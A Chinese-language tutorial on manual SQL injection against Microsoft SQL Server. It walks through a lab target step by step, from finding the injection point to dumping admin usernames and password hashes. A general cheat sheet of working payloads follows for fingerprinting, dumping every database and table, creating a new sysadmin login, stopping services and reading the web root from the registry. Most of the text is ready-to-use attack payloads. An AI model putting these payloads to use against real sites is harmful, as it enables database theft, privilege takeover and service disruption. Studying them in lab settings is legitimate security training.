對於MSSQL的注入點,無外乎這三種權限:SA,DB_OENER,PUBLIC。SA(System Admin)權限我們可以直接執行命令,DB_OENER權限的話,我們可以找到WEB的路徑,然后用備份的方式得到webshell,有時也可以對注冊表進行操作。PUBLIC權限的話,又要面對表和列了,不過MSSQL比ACCESS的“猜”表方便許多,這里是“暴”表,使目標直接暴出來。
手工注入測試
這里我用墨者學院的靶場作為例子,來詳細介紹一下每一步命令的原理。
第一步:查找注入點
http://219.153.49.228:40603/new_list.asp?id=2 and 1=1
頁面返回正常說明存在注入點。
這里和mysql一樣的判斷方式
第二步:查找列數
http://219.153.49.228:40603/new_list.asp?id=2 order by 1成功 ;
order by 2 成功;order by 3 失敗; order by 4 成功;order by 5 失敗 說明列數位於 3-4之間。
第三步:查找回顯點
http://219.153.49.228:40603/new_list.asp?id=2
and 1=2 union all select null,null,null,null;挨個替換null 發現 select null,2,null,null 頁面出現回顯。
這里的1=2是將前面的查詢結果變為假把位置騰出來顯示我們后面進行查詢的結果。union select不能用,就用union all select代替,UNION 內部的 SELECT 語句必須擁有相同數量的列。列也必須擁有相似的數據類型。同時,每條 SELECT 語句中的列的順序必須相同。區別就是union all查詢的結果是允許重復的。mssql里不能用數字作為占位符,只能用null
第四步:查看數據庫版本/當前數據庫名
?id=2 and 1=2 union all select 1,(SERVERPROPERTY('edition')),'3',4;
或者?id=2 and 1=2 union all select 1,(@@version),'3',4。查找所在庫名稱添加: ?id=2 and 1=2 union all select 1,(select db_name()), '3', 4 找到數據庫名稱。
提示:這里也可以使用db_name(1)、db_name(2)等查詢其他數據庫。(這里加'號是為了讓數據類型一致)。SQL Server Express Edition(僅適用於bai 32 位)——學習版SQL Server Express 數據庫平台基於 SQL Server 2005。
第五步:查找數據庫表名稱:
?id=2 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype = 'U'),'3',4
Top關鍵字:由於MSSQL中不存在limit,那么想要輸出一條數據直接top 1,輸出兩條數據top 2,輸出第二條數據top 1+限制條件。關於dbo.的意思參考這里,在MSSQL中每個庫都有一個系統自帶表-->sysobjects此系統表中對我們有用的只有3個字段,NAME字段和XTYPE字段和ID字段,name就是表名信息,xtype是代表表的類型,只有兩個參數,S代表系統自帶表,U代表用戶創建的表,id字段的值用來連接syscolumns表
第六步:查找列名稱:
?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4
替換 col_name(object_id('manage'),1) 中的1 依次為 2,3,4查出所有列名。
col_name(object_id('manage'),1)這句將指定表的指定列的列名顯示出來(col_name是系統函數,用法col_name(obj_id,col_id))
第七步:查取數據:
?id=2 and 1=2 union all select 1,(select top 1 username from manage),'3',4
獲取用戶名;?id=2 and 1=2 union all select 1,(select top 1 password from manage),'3',4 獲取密碼
第八步:MD5 解密
其他常用注入命令
確定數據庫類型:
http://www.xxx.xxx/xxx.asp?id=6 and user>0
http://www.xxx.xxx/xxx.asp?id=6 and (select count(*) from sysobjects)>0
//正常返回就是mssql數據庫
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
//判斷是否是系統管理員
and 1=(Select IS_MEMBER('db_owner'))
//判斷是否是庫權限
and 1= (Select HAS_DBACCESS('master'))
//判斷是否有庫讀取權限
and exists(select * from tableName)
//判斷某表是否存在..tableName為表名
and 1=(select @@VERSION)
//MSSQL版本
And 1=(select db_name())
//當前數據庫名
and 1=(select @@servername)
//本地服務名
獲取數據庫 (該語句是一次性獲取全部數據庫的,且語句只適合>=2005,兩條語句可供選擇使用)
and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--
獲取當前數據庫
and db_name()>0
獲取當前數據庫中的表(有2個語句可供選擇使用)【下列語句可一次爆數據庫所有表(只限於mssql2005及以上版本)】
and 1=(select quotename(name) from 數據庫名..sysobjects where xtype='U' FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 數據庫名..sysobjects where xtype='U' FOR XML PATH(''))--
逐條爆指定表的所有字段的數據(只限於mssql2005及以上版本):
and 1=(select top 1 * from 指定數據庫..指定表名 where FOR XML PATH(''))--
一次性爆N條所有字段的數據(只限於mssql2005及以上版本):
and 1=(select top N * from 指定數據庫..指定表名 FOR XML PATH(''))--
添加和刪除一個SA權限的用戶test:(需要SA權限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某個服務。 (需要SA權限)
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
暴網站目錄
create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result);
and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)
參考
https://www.cnblogs.com/lishuyi/p/4111496.html
https://www.cnblogs.com/Formulate0303/p/12450227.html
https://blog.csdn.net/qq_35569814/article/details/100528187?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-11.nonecase&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-11.nonecase